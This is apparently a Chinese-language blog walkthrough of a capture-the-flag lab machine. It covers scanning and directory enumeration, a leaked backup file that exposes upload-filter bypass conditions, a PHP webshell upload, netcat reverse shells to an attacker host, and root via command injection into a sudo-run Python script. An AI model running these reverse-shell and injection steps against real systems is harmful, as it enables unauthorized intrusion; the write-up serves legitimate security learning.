信息收集阶段
1.1 IP信息收集
arp-scan -l
获得当前靶机IP:192.168.137.181
1.2 端口信息收集
nmap -T4 -A 192.168.137.181
:收集端口信息
开启的是22
和80
服务。按照惯例,还有一些关于站点的信息需要收集:
1.3 CMS识别
what -v http://192.168.137.181
,依旧是没有CMS系统
1.4 目录信息收集
在这我用了俩工具一起扫,一个是dirb
一个是dirsearch
。(虽然最后的结果都大差不差,但是有的目录或者文件还是需要不同的字典来扫。。后续更新字典之后就不会这么麻烦了
dirb http://192.168.137.181 ./directory-list-2.3-medium.txt
python ./dirsearch -u http://192.168.137.181
漏洞利用阶段
首先访问Web页面,尝试获取有用信息
但是好像除了仨图片就没啥的了。访问刚才使用目录扫描出来的页面/dashboard.html
是一个文件上传页面,并且提示了上传的路径:
上传php一句话木马试试
提示上传不成功。F12查看是否有上传限制。
这里调用了uploadFile();
函数
从network中抓取数据包得知,最终的过滤似乎是靠:ajax.php
这个php文件实现的。但是由于php文件已经被解析执行了所以看不到文件内的内容。并且在做目录扫描的时候也没收集到相关的文件备份信息,拿不到源码就无法分析过滤的条件到底是个啥。
根据以往做CTF题的经验,了解到网站的运维人员通常会将备份文件以.bak
的后缀去备份文件,使用命令查看是否真实存在这个文件。
curl http://192.168.137.181/ajax.php.bak
o.O还真的存在。。
-- 现在我们来逐行分析..
//The boss told me to add one more Upper Case letter at the end of the cookie
if(isset($_COOKIE['admin']) && $_COOKIE['admin'] == '&G6u@B6uDXMq&Ms'){
Cookie的键为admin,并且值为&G6u@B6uDXMq&Ms,而且最后一位是大写的字母
//[+] Add if $_POST['secure'] == 'val1d'
还有一个POST参数的键位secure,值位val1d
$valid_ext = array("pdf","php","txt");
}
else{
$valid_ext = array("txt");
}
-- 那么也就是说,如果想要上传php等文件,需要满足俩条件
-- 1. Cookie的键为admin,值为&G6u@B6uDXMq&Ms 最后字母为大写
-- 2. 有一个POST参数的值为secure,值为val1d
// Remember success upload returns
使用BurpSuite
工具开始构造请求
-
使用Repeater模块添加Cookie以及post请求的参数
-
发送到intruder模块
-
添加纯大写字母字典
- start attack
只要在回显中出现了 1 那么就说明文件上传成功。
使用蚁剑连接,并且开启虚拟终端,构造反弹shell。
nc -e /bin/bash 192.168.137.182 8989
在athena
目录下发现两个比较重要的信息,一个是flag,一个是类似于用户的密码
Asterisk的意思为星号,有没有可能当前用户的密码就为:myvulnerableapp*
呢?使用ssh登录当前的athena
用户
ssh athena@192.168.137.181
成功登录。
切换到另外一个用户目录下:cd team-tasks
,出现三个文件cookie-gen.py log.txt note.txt
。
log.txt
没有权限打开
note.txt
:
Hey, Athena use the cookie-gen.py
to generate secure cookies for our application
also remove the ajax.php.bak before it's too late.
- administrator
大致的意思及时Athena用户用cookie-gen.py这个文件给其他用户生成了更安全的Cookie
并且要删除ajax.php.bak这个备份文件
这个提示好像没啥子用,分析cookie-gen.py这个文件
cookie-gen.py
:
import random
import os
import subprocess
print('~ Random Cookie Generation ~')
print('[!] for security reasons we keep logs about cookie seeds.')
chars = '@#$ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefgh'
seed = input("Enter the seed : ") 输入值
random.seed = seed
cookie = ''
for c in range(20):
cookie += random.choice(chars)
print(cookie)
cmd = "echo %s >> log.txt" % seed
subprocess.Popen(cmd, shell=True)
在这个脚本中,会将用户输入的值作为加密的方式。并且输出
但是下方还存在一段代码:
cmd = "echo %s >> log.txt" % seed
subprocess.Popen(cmd, shell=True)
将用户输入的值输出到log.txt中
并且开启一个新的进程,以当前运行者的身份去开启一个shell,并且执行其中的命令
使用命令:sudo -l
查看是否存在可以利用的命令
root用户可以不使用密码去运行该脚本文件,那么思路就很明显了:
使用root的身份运行该python文件,并且输入一段反弹shell的命令,最终攻击机会拿到root的shell。
理论达成,开始行动!
靶机
sudo python3 /home/team-tasks/cookie-gen.py
nc 192.168.137.182 4396 -e /bin/bash
攻击机
nc -lvvp 4396
在自己打靶机的时候确实可以获得到反弹shell
但是自己在写博客重新复现的时候不知道为啥就无法反弹shell了=,=
师傅们将就着看奥,跟着步骤走是可以拿到root的